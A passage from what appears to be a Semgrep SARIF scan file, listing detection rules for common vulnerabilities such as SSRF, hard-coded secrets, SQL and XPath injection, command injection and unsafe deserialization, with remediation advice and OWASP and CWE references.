forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","id":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","name":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","id":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","name":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","id":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","name":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"help":{"markdown":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins","id":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","name":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pins.ATS-CA-pins"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects potential Google Maps API keys in code"},"help":{"markdown":"Detects potential Google Maps API keys in code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak)\n - [https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e)\n","text":"Detects potential Google Maps API keys in code"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","id":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","name":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","properties":{"precision":"very-high","tags":["CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory","MEDIUM CONFIDENCE","OWASP-A3:2017 Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens)\n - [https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376](https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376)\n - [https://hackmd.io/@sentimentxyz/SJCySo1z2](https://hackmd.io/@sentimentxyz/SJCySo1z2)\n","text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","id":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","name":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","id":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","name":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"help":{"markdown":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n","text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","id":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","name":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"help":{"markdown":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag)\n - [https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug](https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug)\n - [https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page](https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page)\n","text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag","id":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","name":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.templates.debug-template-tag.debug-template-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","id":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","name":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","id":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","name":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","id":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","name":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","id":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","name":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"help":{"markdown":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process","id":"javascript.aws-lambda.security.detect-child-process.detect-child-process","name":"javascript.aws-lambda.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","id":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","name":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 